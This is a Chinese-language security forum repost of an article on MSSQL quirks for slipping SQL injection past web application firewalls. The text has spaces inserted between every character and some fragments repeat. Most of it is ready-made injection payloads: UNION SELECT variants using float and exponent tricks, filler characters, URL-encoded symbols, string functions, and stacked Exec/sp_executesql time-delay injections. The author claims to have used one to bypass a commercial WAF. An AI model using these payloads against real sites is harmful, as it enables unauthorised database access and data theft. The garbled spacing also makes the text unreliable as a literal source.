设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [891] 2019-01-14_WAFBypass数据库特性（MSsql探索篇） ...
返回列表 发新帖
查看: 8|回复: 0

[891] 2019-01-14_WAFBypass数据库特性（MSsql探索篇）

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2019-01-14_WAFBypass数据库特性（MSsql探索篇） W A F   B y p a s s 数 据 库 特 性 （ M S s q l 探 索 篇 ） 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 1 - 1 4 收 录 于 话 题   # W A F 攻 防 实 战 笔 记   , 9 个 0 x 0 1 前 言 前 言 我 们 经 常 利 用 一 些 数 据 库 特 性 来 进 行 W A F 绕 过 。 在 M S S Q L 中 ， 比 如 可 以 这 样 ： 浮 点 数 形 式 ： i d = 1 . 1 u n i o n   s e l e c t 科 学 计 数 法 形 式 ： i d = 1 e 0 u n i o n   s e l e c t 但 其 实 还 可 以 这 样 子 ： i d = 1 . e u n i o n   s e l e c t 通 过 1 . e 这 样 的 形 式 ， 我 曾 用 它 绕 过 了 D 盾 的 S Q L 注 入 防 护 ， 通 过 简 单 的 F u z z ， 我 们 来 一 起 探 索 一 下 M S s q l 特 性 。 0 x 0 2   测 试 测 试 常 见 有 5 个 位 置 即 ： s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1 【 位 置 一 】 u n i o n 【 位 置 二 】 s e l e c t 【 位 置 三 】 1 , 2 , d b _ n a m e ( ) 【 位 置 四 】 f r o m 【 位 置 五 】 a d m i n 位 置 一 ： 参 数 和 位 置 一 ： 参 数 和 u n i o n 之 间 的 位 置 之 间 的 位 置 （ 1 ） 空 白 字 符 M s s q l 可 以 利 用 的 空 白 字 符 有 ： （ 2 ） 注 释 符 号 M s s q l 也 可 以 使 用 注 释 符 号   / * * / （ 3 ） 浮 点 数 s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1 . 1 u n i o n   s e l e c t   1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n （ 4 ） 1 E 0 的 形 式 ： s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1 e 0 u n i o n   s e l e c t   1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n （ 5 ） 运 算 符   包 括 加 ( + ) 、 减 ( - ) 、 乘 ( * ) 、 除 ( / ) 、 求 于 ( % ) 、 位 与 （ & ） 、 位 或 （ | ） 、 位 异 或 （ ^ ） s e l e c t   u s e r n a m e , p a s s w o r d , i d   f r o m   a d m i n   w h e r e   i d = 1 - 1 u n i o n   s e l e c t   ' 1 ' , s y s t e m _ u s e r , 3   f r o m   a d m i n s e l e c t   u s e r n a m e , p a s s w o r d , i d   f r o m   a d m i n   w h e r e   i d = 1 e - u n i o n   s e l e c t   ' 1 ' , s y s t e m _ u s e r , 3   f r o m   a d m i n （ 6 ） 小 区 别 ： A S P X ： [ 0 x 0 0 - 0 x 2 0 ] 、 o x 2 e 、 [ 0 x 3 0 - 0 x 3 9 ] 、 o x 4 5 、 o x 6 5 、 [ 0 x 8 0 - 0 x f f ] 、 运 算 符 0 1 , 0 2 , 0 3 , 0 4 , 0 5 , 0 6 , 0 7 , 0 8 , 0 9 , 0 A , 0 B , 0 C , 0 D , 0 E , 0 F , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 1 A , 1 B , 1 C , 1 D , 1 E , 1 F , 2 0
A S P :           [ 0 x 0 1 - 0 x 2 0 ] 、 o x 2 e 、 [ 0 x 3 0 - 0 x 3 9 ] 、 o x 4 5 、 o x 6 5 、 运 算 符 单 引 号 ： s e l e c t   u s e r n a m e , p a s s w o r d , i d   f r o m   a d m i n   w h e r e   i d = 1   a n d   ' 1 ' l i k e ' 1 ' u n i o n   s e l e c t   n u l l , n u l l , n u l l 位 置 二 ： 位 置 二 ： u n i o n 和 和 s e l e c t 之 间 的 位 置 之 间 的 位 置 （ 1 ） 空 白 字 符 M s s q l 可 以 利 用 的 空 白 字 符 有 ： （ 2 ） 注 释 符 号 M s s q l 也 可 以 使 用 注 释 符 号 / * * / （ 3 ） 其 他 符 号 ：       % 3 a     冒 号 s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n : s e l e c t   1 , ' 2 ' , d b _ n a m e ( )   f r o m : a d m i n A S P X ： [ 0 x 0 0 - 0 x 2 0 ] 、 0 x 3 a 、 [ 0 x 8 0 - 0 x f f ] 要 组 合 前 面 的 两 个 才 能 执 行 ， 如 % 3 a % a 0 、 % a 0 % 0 a A S P :           [ 0 x 0 1 - 0 x 2 0 ]   、 0 x 3 a 位 置 三 ： 位 置 三 ： s e l e c t 和 查 询 参 数 之 间 的 位 置 和 查 询 参 数 之 间 的 位 置 （ 1 ） 空 白 字 符 M s s q l 可 以 利 用 的 空 白 字 符 有 ： （ 2 ） 注 释 符 号 M s s q l 也 可 以 使 用 注 释 符 号 / * * / （ 3 ） 其 他 符 号 % 2 b     +             s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n   s e l e c t + 1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n % 2 d     -               s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n   s e l e c t - 1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n % 2 e     .               s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n   s e l e c t . 1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n % 3 a     :               s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n   s e l e c t : 1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n % 7 e     ~             s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n   s e l e c t ~ 1 , ' 2 ' , d b _ n a m e ( )   f r o m   a d m i n 位 置 四 ： 查 询 参 数 和 位 置 四 ： 查 询 参 数 和 f r o m 之 间 的 位 置 之 间 的 位 置 （ 1 ） 空 白 字 符 M s s q l 可 以 利 用 的 空 白 字 符 有 ： 0 1 , 0 2 , 0 3 , 0 4 , 0 5 , 0 6 , 0 7 , 0 8 , 0 9 , 0 A , 0 B , 0 C , 0 D , 0 E , 0 F , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 1 A , 1 B , 1 C , 1 D , 1 E , 1 F , 2 0 0 1 , 0 2 , 0 3 , 0 4 , 0 5 , 0 6 , 0 7 , 0 8 , 0 9 , 0 A , 0 B , 0 C , 0 D , 0 E , 0 F , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 1 A , 1 B , 1 C , 1 D , 1 E , 1 F , 2 0
（ 2 ） 注 释 符 号 M s s q l 也 可 以 使 用 注 释 符 号 / * * / （ 3 ） 其 他 符 号 A S P :           [ 0 x 0 1 - 0 x 2 0 ] 、 0 x 2 e 、 [ 0 x 3 0 - 0 x 3 9 ] 、 0 x 4 5 、 0 x 6 5 、 [ 0 x 8 0 - 0 x f f ]   A S P X ： [ 0 x 0 0 - 0 x 2 0 ] 、 0 x 2 e 、 [ 0 x 3 0 - 0 x 3 9 ] 、 0 x 4 5 、 0 x 6 5 、 i d = 1 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 1 , ' 2 ' , d b _ n a m e ( ) % 8 0 f r o m % 2 0 a d m i n d b _ n a m e 与 ( ) 中 间   % 0 0 - % 2 0   % 8 0 - % f f 填 充 i d = 1   u n i o n   s e l e c t   1 , ' 2 ' , d b _ n a m e + ( )   f r o m   a d m i n 位 置 五 ： 位 置 五 ： f r o m 后 面 的 位 置 后 面 的 位 置 （ 1 ） 空 白 字 符 M s s q l 可 以 利 用 的 空 白 字 符 有 ： （ 2 ） 注 释 符 号 M s s q l 也 可 以 使 用 注 释 符 号 / * * / （ 3 ） 其 他 符 号 ：     % 3 a         s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n : s e l e c t   1 , ' 2 ' , d b _ n a m e ( )   f r o m : a d m i n .         % 2 e         s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1   u n i o n   s e l e c t   1 , ' 2 ' , d b _ n a m e ( )   f r o m . i n f o r m a t i o n _ s c h e m a . S C H E M A T A A S P ：       [ 0 x 0 1 - 0 x 2 0 ] 、 0 x 2 e 、 0 x 3 a A S P X ：   [ 0 x 0 0 - 0 x 2 0 ] 、 0 x 2 e 、 0 x 3 a 、 [ 0 x 8 0 - 0 x f f ] 0 x 0 3   常 见 函 数 常 见 函 数 类 型 一 、 字 符 串 截 取 函 数 类 型 一 、 字 符 串 截 取 函 数 S u b s t r i n g ( @ @ v e r s i o n , 1 , 1 ) L e f t ( @ @ v e r s i o n , 1 ) R i g h t ( @ @ v e r s i o n , 1 ) c h a r i n d e x ( ' t e s t ' , d b _ n a m e ( ) ) 类 型 二 ： 字 符 串 转 换 函 数 类 型 二 ： 字 符 串 转 换 函 数 A s c i i ( ‘ a ’ )   0 1 , 0 2 , 0 3 , 0 4 , 0 5 , 0 6 , 0 7 , 0 8 , 0 9 , 0 A , 0 B , 0 C , 0 D , 0 E , 0 F , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 1 A , 1 B , 1 C , 1 D , 1 E , 1 F , 2 0 0 1 , 0 2 , 0 3 , 0 4 , 0 5 , 0 6 , 0 7 , 0 8 , 0 9 , 0 A , 0 B , 0 C , 0 D , 0 E , 0 F , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 1 A , 1 B , 1 C , 1 D , 1 E , 1 F , 2 0
C h a r ( ‘ 9 7 ’ )   这 里 的 函 数 可 以 在 括 号 之 间 添 加 空 格 的 ， 一 些 w a f 过 滤 不 严 会 导 致 b y p a s s 类 型 三 ： 其 他 方 式 类 型 三 ： 其 他 方 式 利 用 存 储 过 程 m s s q l 的 存 储 过 程 定 义 为 ： ` D e c l a r e   @ s   v a r c h a r ( 5 0 0 0 )     ` ` / / 申 明 变 量 @ s   类 型 为 v a r c h a r ( 5 0 0 0 ) ` ` S e t   @     ` ` / / 给 @ s 变 量 赋 值 ` ` E x e c ( @ s )   ` ` / / 执 行 @ s ` i d = 1 ; E x e c ( ' W A ' + ' I T F O R   D E L A Y   ' ' 0 : 0 : 5 ' ' ' )   i d = 1 ; d e c l a r e   @ t e s t   n v a r c h a r ( 5 0 ) ; s e t   @ t e s t = ' w a i t ' + ' f o r   d e l a y   ' ' 0 : 0 : 5 ' ' ' ; e x e c   s p _ e x e c u t e s q l   @ t e s t 0 X 0 4   E N D     本 文 整 理 了 一 些 常 见 的 M S s q l 数 据 库 特 性 ， 如 果 有 时 间 的 话 ， 你 不 妨 也 动 动 手 ， 亲 手 去 F u z z 一 下 ， 你 可 能 会 发 现 更 多 的 特 性 。 仅 作 抛 砖 引 玉 之 用 ， 欢 迎 留 言 ， 顺 便 分 享 一 下 你 了 解 的 比 较 有 意 思 的 特 性 。 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:41 , Processed in 0.132868 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表